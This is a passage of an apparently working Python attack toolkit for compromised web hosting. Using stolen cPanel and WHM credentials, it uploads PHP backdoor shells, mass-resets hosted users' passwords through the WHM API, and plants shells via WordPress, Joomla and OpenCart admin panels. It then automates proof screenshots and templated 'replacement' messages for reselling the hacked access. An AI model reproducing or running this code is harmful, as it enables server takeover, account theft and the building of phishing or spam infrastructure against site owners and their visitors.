' in upFile):
print (' {}[+] Upload is Working.'.format(fg))
try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45))
except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60))
try:
options_Fox = webdriver.ChromeOptions()
options_Fox.add_experimental_option('excludeSwitches', ['enable-logging'])
driver_Fox = webdriver.Chrome(options=options_Fox)
except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return
driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email'))
driver_Fox.switch_to.window("fox1")
time.sleep(3)
html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8"))
mailname = re.findall(re.compile('(.*)'), html_Fox)[0]
orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987))
driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path))
driver_Fox.switch_to.window("fox2")
time.sleep(3)
driver_Fox.find_element(By.NAME, 'email').send_keys(mailname)
time.sleep(1.5)
driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID)
time.sleep(1.5)
driver_Fox.find_element(By.XPATH, '//input[3]').click()
time.sleep(1.5)
driver_Fox.switch_to.window("fox1")
time.sleep(7)
html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
start = timer()
while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)):
time.sleep(5)
html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
if (str(orderID) in str(html_Fox.encode("utf-8"))):
print (' {}[+] Sending mail is Working.'.format(fg))
namepng = '{}.png'.format(random_Fox(15))
driver_Fox.set_window_size(1400, 1000)
driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
proofS = imgurproof(namepng)
if (proofS is False):
from gyazo import Api
proofS = gyazoproof(namepng)
driver_Fox.execute_script("window.open('{}', 'fox3');".format(shell))
driver_Fox.switch_to.window("fox3")
time.sleep(3)
namepng = '{}.png'.format(random_Fox(15))
driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
proofW = imgurproof(namepng)
if (proofW is False):
from gyazo import Api
proofW = gyazoproof(namepng)
open('Results/Reports_of_Shells.txt', 'a').write('Sir, I will give you a fresh Shell as a [Replacement] with full proofs.\n\nFresh Shell => {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(shell, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1
else: print(' {}[-] Sending mail isn\'t Working.'.format(fr))
driver_Fox.quit()
else: print(' {}[-] Upload Failed.'.format(fr))
except:
print (' {}[-] Shell isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr))
try: driver_Fox.quit()
except: pass
def solving_cP_Reports_A(ip, user, password, idcp, cookies, domain, home, test):
try:
global success1
delete_files('screenshots', 'png')
from selenium import webdriver
from imgurpython import ImgurClient
newpath = r'screenshots'
if (not os.path.exists(newpath)): os.makedirs(newpath)
safebrowsing = requestG_Fox('https://transparencyreport.google.com/transparencyreport/api/v3/safebrowsing/status?site={}'.format(domain), 1, headers1)
if (safebrowsing is False): print('\n {}[!] Error, Google blocked you! You have to change your IP by VPN\n'.format(fr)); return
alert_Fox = safebrowsing.split(',')
if ('2' in str(alert_Fox[1])): print(' {}[-] Phishing.'.format(fr)); return
req_Fox = requests.session()
postlogin_Fox = {'user': user, 'pass': password, 'login_submit': 'Log in'}
try: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=10))
except: login2_Fox = content_Fox(req_Fox.post('https://{}:2083/login/?login_only=1'.format(domain), data=postlogin_Fox, headers=headers1, timeout=15))
if ('security_token' not in login2_Fox): print(' {}[-] Domain isn\'t Working.'.format(fr)); return
print (' {}[+] Domain is Working.'.format(fg))
filename = '{}.php'.format(random_Fox(8))
testname = 'test-{}.php'.format(random_Fox(3))
ziprname = 'unZIPpeR{}.php'.format(random_Fox(3))
filedata_Fox = {'dir': '{}{}/public_html'.format(home, user), 'get_disk_info': '1', 'overwrite': '0'}
fileup_Fox = {'file-0': (filename, shell_Fox)}
try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45)
except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
backdoor_path = 'https://{}/{}'.format(domain, filename)
time.sleep(5)
try: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=10))
except: check_b = content_Fox(requests.get(backdoor_path, headers=headers1, timeout=15))
if ('KEY:' not in check_b and 'MD5:' not in check_b): print(' {}[-] Upload Failed.'.format(fr)); return
Test_path = shellPath_Fox(backdoor_path, testname, 1)
UNZIPper_path = shellPath_Fox(backdoor_path, ziprname, 1)
filedata = {'action': 'upload'}
fileup_Test = {'file': (testname, file_get_contents_Fox('Files/{}.txt'.format(test)))}
fileup_ZIPper = {'file': (ziprname, file_get_contents_Fox('Files/uz.txt'))}
backdoor_path = check(backdoor_path)
try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=45))
except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_Test, headers=headers2, timeout=60))
if('' in upFile):
print (' {}[+] Upload is Working.'.format(fg))
try: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=45))
except: upFile = content_Fox(requests.post('{}?action={}'.format(backdoor_path, en('{}/{}V{}/b'.format(dom, to, version))), data=filedata, files=fileup_ZIPper, headers=headers2, timeout=60))
try:
options_Fox = webdriver.ChromeOptions()
options_Fox.add_experimental_option('excludeSwitches', ['enable-logging'])
driver_Fox = webdriver.Chrome(options=options_Fox)
except: print('\n [!] Error, You have to Donwload [ChromeDriver], Read how => https://textbin.net/raw/hqlkimif7g \n'); return
driver_Fox.execute_script("window.open('{}', 'fox1');".format('https://generator.email'))
driver_Fox.switch_to.window("fox1")
time.sleep(3)
html_Fox = str(driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML").encode("utf-8"))
mailname = re.findall(re.compile('(.*)'), html_Fox)[0]
orderID = '{} - {}'.format(domain_Fox(Test_path), str(random.randint(1, 100000) * 987))
driver_Fox.execute_script("window.open('{}', 'fox2');".format(Test_path))
driver_Fox.switch_to.window("fox2")
time.sleep(3)
driver_Fox.find_element(By.NAME, 'email').send_keys(mailname)
time.sleep(1.5)
driver_Fox.find_element(By.NAME, 'orderid').send_keys(orderID)
time.sleep(1.5)
driver_Fox.find_element(By.XPATH, '//input[3]').click()
time.sleep(1.5)
driver_Fox.switch_to.window("fox1")
time.sleep(7)
html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
start = timer()
while ((str(orderID) not in str(html_Fox.encode("utf-8"))) and ((timer() - start) < 38)):
time.sleep(5)
html_Fox = driver_Fox.execute_script("return document.getElementsByTagName('html')[0].innerHTML")
if (str(orderID) in str(html_Fox.encode("utf-8"))):
print (' {}[+] Sending mail is Working.'.format(fg))
namepng = '{}.png'.format(random_Fox(15))
driver_Fox.set_window_size(1400, 1000)
driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
proofS = imgurproof(namepng)
if (proofS is False):
from gyazo import Api
proofS = gyazoproof(namepng)
driver_Fox.execute_script("window.open('{}', 'fox3');".format('https://{}:2083/login/'.format(domain)))
driver_Fox.switch_to.window("fox3")
time.sleep(4)
driver_Fox.find_element(By.NAME, 'user').send_keys(user)
time.sleep(1.5)
driver_Fox.find_element(By.NAME, 'pass').send_keys(password)
time.sleep(1.5)
driver_Fox.find_element(By.NAME, 'login').click()
time.sleep(7)
namepng = '{}.png'.format(random_Fox(15))
driver_Fox.get_screenshot_as_file('screenshots/{}'.format(namepng))
proofW = imgurproof(namepng)
if (proofW is False):
from gyazo import Api
proofW = gyazoproof(namepng)
open('Results/Reports_of_cPanels.txt', 'a').write('Sir, I will give you a fresh cPanel as a [Replacement] with full proofs.\n\nFresh cPanel: https://{}:2083\nUSERNAME: {}\nPASSWORD: {}\n\nProof for not phishing and open fine => {}\nProof for send results => {}\nYou can test => {}\nYou can use unzipper for help you => {}\n\nThank you <3\n\n\n'.format(domain, user, password, proofW, proofS, Test_path, UNZIPper_path)); success1 = 1
else: print(' {}[-] Sending mail isn\'t Working.'.format(fr))
driver_Fox.quit()
else: print(' {}[-] Upload Failed.'.format(fr))
except:
print(' {}[-] Domain isn\'t working OR Not-{}Https{}.'.format(fr, fg, fr))
try: driver_Fox.quit()
except: pass
def WHM_exploiter(backdoor, cpanelRs):
try:
sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting()
for rs in cpanelRs:
rs = rs.split('|')
username = rs[1]
password = rs[2]
try:
ip = 'https://{}:2087'.format(domain_Fox(backdoor))
ipHost = socket.gethostbyname(domain_Fox(backdoor))
c = WHM_PWD_CHer_P(ip, username, password, ipHost)
if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr))
else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username))
except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
except:
print(' {}[-] Failed.'.format(fr))
def WHM_AH_exploiter(backdoor):
global backdoor3
try:
sys.stdout.write(' {}[*] Getting cPanels from WHM '.format(fc)); waiting()
hashs = requestG_Fox('{}?action={}'.format(backdoor, backdoor3), 1, headers1, 30)
if (re.findall(re.compile('(.*):(.*)'), hashs)): hashs = re.findall(re.compile('(.*):(.*)'), hashs)
for h in hashs:
username = h[0]
try:
accesshash = h[1]
ip = 'https://{}:2087'.format(domain_Fox(backdoor))
ipHost = socket.gethostbyname(domain_Fox(backdoor))
c = WHM_PWD_CHer_A(ip, username, accesshash, ipHost)
if (c is False): print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
elif (c == 0): print (' {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, c, fr))
else: print (' {}[+] Saved in {}Results/WHM/{}-{}.txt'.format(fg, fr, ipHost, username))
except: print (' {} - {}{}{} [Failed]'.format(fr, fw, username, fr))
except:
print(' {}[-] Failed.'.format(fr))
def WHM_PWD_CHer_A(ip, username, accesshash, ipHost):
try:
counter = 0
newpath = r'Results/WHM'
if (not os.path.exists(newpath)): os.makedirs(newpath)
login = WHM_Login_A(ip, username, accesshash)
if (login is False): return False
headers_WHM = login
if (':2087' in ip):
protocol = 'https://'
port = ':2083'
ipcp = ip.replace('2087', '2083')
elif (':2086' in ip):
protocol = 'http://'
port = ':2082'
ipcp = ip.replace('2086', '2082')
else:
protocol = 'https://'
port = ':2083'
ipcp = '{}:2083'.format(ip)
try: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=30))
except: getUser = content_Fox(requests.get('{}/json-api/listaccts?viewall=1'.format(ip), headers=headers_WHM, verify=False, timeout=45))
try:
listaccts = json.loads(getUser)
usersdata = listaccts['acct']
except: return counter
for userdata in usersdata:
try:
user = userdata.get('user')
domain = userdata.get('domain')
if (str(username) != str(user)):
newPasswd = passwrod_creator()
postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user}
try: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=30)
except: changePR = requests.post('{}/json-api/passwd'.format(ip), headers=headers_WHM, data=postchangeP, verify=False, timeout=45)
if (changePR):
counter = counter + 1
sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr))
sys.stdout.flush()
open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd))
except:
pass
print ('')
return counter
except:
return False
def WHM_PWD_CHer_P(ip, username, password, ipHost) :
try:
counter = 0
newpath = r'Results/WHM'
if (not os.path.exists(newpath)): os.makedirs(newpath)
login = WHM_Login_P(ip, username, password)
if (login is False): return False
cookies = login[0]
idcp = login[1]
if (':2087' in ip):
protocol = 'https://'
port = ':2083'
ipcp = ip.replace('2087', '2083')
elif (':2086' in ip):
protocol = 'http://'
port = ':2082'
ipcp = ip.replace('2086', '2082')
else:
protocol = 'https://'
port = ':2083'
ipcp = '{}:2083'.format(ip)
try: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=30))
except: getUser = content_Fox(cookies.get('{}/{}/json-api/listaccts?viewall=1'.format(ip, idcp), verify=False, timeout=45))
try:
listaccts = json.loads(getUser)
usersdata = listaccts['acct']
except: return counter
for userdata in usersdata:
try:
user = userdata.get('user')
domain = userdata.get('domain')
if (str(username) != str(user)):
newPasswd = passwrod_creator()
postchangeP = {'api.version': '1', 'password': newPasswd, 'user': user}
try: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=30)
except: changePR = cookies.post('{}/{}/json-api/passwd'.format(ip, idcp), data=postchangeP, verify=False, timeout=45)
if (changePR):
counter = counter + 1
sys.stdout.write('\r {} - {}{}{} [{}{} USERS{}]'.format(fr, fw, username, fr, fg, counter, fr))
sys.stdout.flush()
open('Results/WHM/{}-{}.txt'.format(ipHost, username), 'a').write('{}{}{}|{}|{}\n'.format(protocol, domain, port, user, newPasswd))
except:
pass
print ('')
return counter
except:
return False
def WHM_Login_A(ip, username, accesshash):
try:
if ('\n' in accesshash): accesshash = accesshash.replace('\n', '')
headers_WHM = {'Authorization': 'WHM {}:{}'.format(username, accesshash)}
try: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=10))
except: login = content_Fox(requests.get('{}/json-api/'.format(ip), headers=headers_WHM, verify=False, timeout=15))
if ('Unknown App Requested' in login): return headers_WHM
else: return False
except:
return False
def WHM_Login_P(ip, username, password):
try:
req = requests.session()
postlogin = {'user': username, 'pass': password, 'login_submit': 'Log in', 'goto_uri': '/'}
try: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=10))
except: login = content_Fox(req.post('{}/login/?login_only=1'.format(ip), data=postlogin, verify=False, timeout=15))
if ('security_token' not in login): return False
loginJson = json.loads(login)
idcp = loginJson["security_token"][1:]
return req, idcp
except:
return False
def cPanel_Login(ip, username, password):
try:
reqFox = requests.session()
postlogin_Fox = {'user': username, 'pass': password, 'login_submit': 'Log in'}
try: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10))
except: loginCP_Fox = content_Fox(reqFox.post('{}/login/'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15))
if ('filemanager' in loginCP_Fox or '/home' in loginCP_Fox):
open('Results/Successfully_logged_cPanels.log', 'a').write('{}|{}|{}\n'.format(ip, username, password))
if (re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('PAGE.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1]
elif (re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)): idcp_Fox = re.findall(re.compile('MASTER.securityToken.*=.*"(.*)/(.*)";'), loginCP_Fox)[0][1]
elif (re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format( re.findall(re.compile('href="/cpsess(.*)/3rdparty'), loginCP_Fox)[0])
elif (re.findall(re.compile('href="/cpsess(.*)/frontend/'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/frontend'), loginCP_Fox)[0])
elif (re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)): idcp_Fox = 'cpsess{}'.format(re.findall(re.compile('href="/cpsess(.*)/xferwhm'), loginCP_Fox)[0])
else:
reqFox = requests.session()
try: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=10))
except: loginCP_Fox2 = content_Fox(reqFox.post('{}/login/?login_only=1'.format(ip), verify=False, data=postlogin_Fox, headers=headers1, timeout=15))
loginJson = json.loads(loginCP_Fox2)
idcp_Fox = loginJson["security_token"][1:]
if (re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)): domain_Fox = re.findall(re.compile('PAGE.domain.*=.*"(.*)";'), loginCP_Fox)[0]
elif (re.findall(re.compile(''), loginCP_Fox)): domain_Fox = re.findall(re.compile(''), loginCP_Fox)[0]
elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0]
elif (re.findall(re.compile('(.*)'), loginCP_Fox)): domain_Fox = re.findall(re.compile('(.*)'), loginCP_Fox)[0]
if (re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)): home = '/home{}'.format(re.findall(re.compile('/home(.*){}'.format(username)), loginCP_Fox)[0])
else: home = '/home/'
return reqFox, idcp_Fox, domain_Fox, home
else: return False
except:
return False
def file_UPloader_cP(ip, username, cookies, idcp, domain, home):
try:
filename = '{}.php'.format(random_Fox(8))
filedata_Fox = {'dir': '{}{}/public_html'.format(home, username), 'get_disk_info': '1', 'overwrite': '0'}
fileup_Fox = {'file-0': (filename, shell_Fox)}
try: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=120)
except: upload_Fox = cookies.post('{}/{}/execute/Fileman/upload_files'.format(ip, idcp), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=150)
time.sleep(3)
try:
shell_path = 'https://{}/{}'.format(domain, filename)
check = content_Fox(requests.get(shell_path, headers=headers1, timeout=15))
except:
shell_path = 'http://{}/{}'.format(domain, filename)
check = content_Fox(requests.get(shell_path, headers=headers1, verify=False, timeout=15))
if ('KEY:' in check or 'MD5:' in check): return shell_path
else: return False
except:
return False
def cPanel(cP_data, up=0):
try:
if (int(cP_data.count('|')) != 2): print(' {}[-] The list must be https://domain.com:2083|username|password'.format(fr)); return False
cp = cP_data.split('|')
ip = cp[0]
username = cp[1]
password = cp[2]
print (' [*] cPanel: {}'.format(ip))
print (' [*] Username: {}'.format(username))
print (' [*] Password: {}'.format(password))
login_Fox = cPanel_Login(ip, username, password)
if (login_Fox is False): print(' {}[-] Login Failed.'.format(fr)); return False
open('Results/Login_Successful_cPanels.txt', 'a').write('{}\n'.format(cP_data))
print (' {}[+] Login successful.'.format(fg))
if (int(up) == 1):
shell_path = file_UPloader_cP(ip, username, login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3])
if (shell_path is False): print(" {}[-] Failed upload.".format(fr)); return False
else: return shell_path
else:
return login_Fox[0], login_Fox[1], login_Fox[2], login_Fox[3]
except:
print(' {}[-] Failed.'.format(fr)); return False
def randomPluginWP_Fox(url, cookies):
try:
foldername = random_Fox(7)
try:plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, timeout=15))
except: plugin_install_php = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?tab=upload'.format(url), headers=headers1, verify=False, timeout=10))
if (not re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)): return 'F'
ID_wp = re.findall(re.compile('id="_wpnonce" name="_wpnonce" value="(.*)"'), plugin_install_php)[0]
if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0]
filedata_Fox = {'_wpnonce': ID_wp, '_wp_http_referer': '/wp-admin/plugin-install.php?tab=upload', 'install-plugin-submit': 'Install Now'}
fileup_Fox = {'pluginzip': ('{}.zip'.format(foldername), open('Files/plugin.zip', 'rb'), 'multipart/form-data')}
try: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
except: upload = cookies.post('{}/wp-admin/update.php?action=upload-plugin'.format(url), data=filedata_Fox, files=fileup_Fox, headers=headers1, verify=False, timeout=60)
shellname = '{}/wp-content/plugins/{}/index.php'.format(url, foldername)
check = requestG_Fox(shellname, 1, headers1)
if ('KEY:' in check or 'MD5:' in check): return shellname
return 'F'
except:
return 'F'
def wp_file_manager_Fox(domain, cookies) :
try :
filename = '{}.php'.format(random_Fox(8))
shell = file_get_contents_Fox('Files/bk.txt')
try: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=15))
except: getID = content_Fox(cookies.get('{}/wp-admin/plugin-install.php?s=File+Manager&tab=search&type=term'.format(domain), verify=False, headers=headers1, timeout=10))
if ('admin.php?page=wp_file_manager' in getID) :
try: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=15))
except: getID = content_Fox(cookies.get('{}/wp-admin/admin.php?page=wp_file_manager#elf_l1_Lw'.format(domain), verify=False, headers=headers1, timeout=10))
if (re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)) :
ID_wp = re.findall(re.compile('admin-ajax.php","nonce":"(.*)","lang"'), getID)[0]
if ('"' in ID_wp): ID_wp = ID_wp.split('"')[0]
fileup_Fox = {'upload[]': (filename, shell, 'multipart/form-data')}
filedata_Fox = {'_wpnonce': ID_wp, 'action': 'mk_file_folder_manager', 'cmd': 'upload', 'target': 'l1_Lw'}
try : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=60)
except : up_Fox = cookies.post('{}/wp-admin/admin-ajax.php'.format(domain), data=filedata_Fox, files=fileup_Fox, verify=False, headers=headers1, timeout=45)
check_UP = requestG_Fox('{}/{}'.format(domain, filename), 1, headers1)
if ('KEY:' in check_UP or 'MD5:' in check_UP) : return'{}/{}'.format(domain, filename)
elif ((re.findall(re.compile('plugins.php\?_wpnonce=(.*)&action=activate&plugin=wp-file-manager'), getID) or re.findall(re.compile('file_folder_manager.php&_wpnonce=(.*)" target="_parent">(.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) (.*) '), plugin_install_Fox)):
directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0])
rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0]
filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)}
fileup_Fox = {'install_package': ('mod_ariimageslidersa.zip', open('Files/mod_ariimageslidersa.zip', 'rb'), 'multipart/form-data')}
try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=45)
except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
check_plugin_shell = requestG_Fox('{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain), 1, headers1)
if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_ariimageslidersa/mod_ariimageslidersa.php'.format(domain)
return 'F'
except:
return 'F'
def mod_simplefileuploadJ30v1_Fox(domain, cookies) :
try:
try: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=15))
except: plugin_install_Fox = content_Fox(cookies.get('{}/administrator/index.php?option=com_installer'.format(domain), verify=False, headers=headers1, timeout=10))
if (re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)):
directory_Fox = '{}tmp'.format(re.findall(re.compile('value="(.*)tmp".*/>'), plugin_install_Fox)[0])
rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), plugin_install_Fox)[0]
filedata_Fox = {'install_directory': directory_Fox, 'install_url': '', 'type': '', 'installtype': 'upload', 'task': 'install.install', rhash_Fox: '1', 'return': ',{}'.format(rhash_Fox)}
fileup_Fox = {'install_package': ('mod_simplefileuploadJ30v1.3.5.zip', open('Files/mod_simplefileuploadJ30v1.3.5.zip', 'rb'), 'multipart/form-data')}
try: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=90)
except: up_Fox = cookies.post('{}/administrator/index.php?option=com_installer&view=install'.format(domain), verify=False, data=filedata_Fox, files=fileup_Fox, headers=headers1, timeout=60)
check_plugin_shell = requestG_Fox('{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain), 1, headers1)
if ('KEY:' in check_plugin_shell or 'MD5:' in check_plugin_shell): return '{}/modules/mod_simplefileuploadv1.3/elements/wcg9LbOHD14.php'.format(domain)
return 'F'
except:
return 'F'
def com_templates_Fox(domain, cookies) :
shell = file_get_contents_Fox('Files/bk.txt')
try:
try: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=15))
except: beez3 = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), verify=False, headers=headers1, timeout=10))
if ('jsstrings.php' in beez3 and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)):
rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), beez3)[0]
edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '503', 'jform[filename]': '/jsstrings.php'}
try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60)
except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45)
check_UP = requestG_Fox('{}/templates/beez3/jsstrings.php'.format(domain), 1, headers1)
if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/templates/beez3/jsstrings.php'.format(domain)
else:
try: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=15))
except: hathor = content_Fox(cookies.get('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), verify=False, headers=headers1, timeout=10))
if ('error.php' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)):
rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0]
edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'}
try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60)
except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&view=template&id=504&file=L2Vycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45)
check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 1, headers1)
if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain)
elif ('error.css' in hathor and re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)):
rhash_Fox = re.findall(re.compile('type="hidden" name="(.*)" value="1"'), hathor)[0]
edit_file_Fox = {'jform[source]': shell, 'task': 'template.apply', rhash_Fox: '1', 'jform[extension_id]': '504', 'jform[filename]': '/error.php'}
try: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=60)
except: edit_Fox = cookies.post('{}/administrator/index.php?option=com_templates&task=source.edit&id=NTA0OmVycm9yLnBocA=='.format(domain), data=edit_file_Fox, verify=False, headers=headers1, timeout=45)
check_UP = requestG_Fox('{}/administrator/templates/hathor/error.php'.format(domain), 1, headers1)
if ('KEY:' in check_UP or 'MD5:' in check_UP): return '{}/administrator/templates/hathor/error.php'.format(domain)
return 'F'
except:
return 'F'
def ocmod_Fox(domain, cookies, login) :
try:
token_Fox = re.findall(re.compile('token=(.*)" class="navbar-brand">'), login)[0]
if ('&user_token' in login): upload_url_Fox = "{}/admin/index.php?route=marketplace/installer/upload&user_token={}".format(domain, token_Fox)
